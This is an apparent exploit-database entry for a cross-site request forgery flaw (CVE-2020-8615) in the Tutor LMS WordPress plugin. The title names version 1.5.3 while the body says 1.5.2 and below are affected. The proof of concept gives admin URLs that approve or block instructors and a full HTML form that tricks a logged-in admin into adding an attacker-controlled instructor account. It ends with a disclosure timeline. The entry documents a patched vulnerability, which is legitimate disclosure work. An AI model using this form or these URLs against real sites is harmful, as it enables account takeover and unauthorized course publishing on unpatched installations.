Registerwordpress plugin tutor lms 1.5.3 crosssite request forgery (add user)
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# Exploit Title: Wordpress Plugin Tutor LMS 1.5.3 - Cross-Site Request Forgery (Add User) # Date: 2020-01-30 # Vendor Homepage: https://www.themeum.com/product/tutor-lms/ # Vendor Changelog: https://wordpress.org/plugins/tutor/#developers # Exploit Author: Jinson Varghese Behanan # Author Advisory: https://www.getastra.com/blog/911/plugin-exploit/cross-site-request-forgery-in-tutor-lms-plugin/ # Author Homepage: https://www.jinsonvarghese.com # Version: 1.5.2 and below # CVE : CVE-2020-8615 # 1. Description # The Tutor LMS WordPress plugin is a feature-packed plugin that enables users to create and sell courses. # An attacker can use CSRF to register themselves as an instructor or block other legit instructors. # Consequently, if the option to create courses without admin approval is enabled on the plugin’s settings # page, the attacker will be able to create courses directly as well. All WordPress websites # using Tutor LMS version 1.5.2 and below are affected. # 2. Proof of Concept # As the requests for the approval and blocking of instructors are sent using the GET method, the CSRF # attack to approve an attacker-controlled instructor account can be performed by having the admin # visit https://TARGET/wp-admin/admin.php?page=tutor-instructors&action=approve&instructor=8 directly, # after retrieving the instructor ID during the registration process. An approved instructor can also be blocked # by directing the admin to visit https://TARGET/wp-admin/admin.php?page=tutor-instructors&action=blocked&instructor=7. # CSRF attack can also be performed on the form present at https://TARGET/wp-admin/admin.php?page=tutor-instructors&sub_page=add_new_instructor # in order to have the admin add an instructor account for the attacker, thus bypassing the requirement for approval. # This can be done by tricking the admin to submit the below-given web form as a POST request. For example, if the web form is # hosted on an attacker-controlled domain https://attacker.com/csrf.html, an admin who is logged in at https://TARGET can # be tricked into visiting the link and triggering the request to add an instructor. <html> <body> <script>history.pushState('', '', '/')</script> <form action="https://TARGET/wp-admin/admin-ajax.php" method="POST"> <input type="hidden" name="action" value="add_new_instructor" /> <input type="hidden" name="first_name" value="John" /> <input type="hidden" name="last_name" value="Doe" /> <input type="hidden" name="user_login" value="jd_instructor" /> <input type="hidden" name="email" value="jd@TARGET" /> <input type="hidden" name="phone_number" value="1231231231" /> <input type="hidden" name="password" value="Pa$$w0rd!" /> <input type="hidden" name="password_confirmation" value="Pa$$w0rd!" /> <input type="hidden" name="tutor_profile_bio" value="Et tempore culpa n" /> <input type="hidden" name="action" value="tutor_add_instructor" /> <input type="submit" value="Submit request" /> </form> </body> </html> 3. Timeline Vulnerability reported to the Tutor LMS team – January 30, 2020. Tutor LMS version 1.5.3 containing the fix released – February 4, 2020.
Wordpress plugin tutor lms 1.5.3 crosssite request forgery (add user) Vulnerability / Exploit Source : Wordpress plugin tutor lms 1.5.3 crosssite request forgery (add user)
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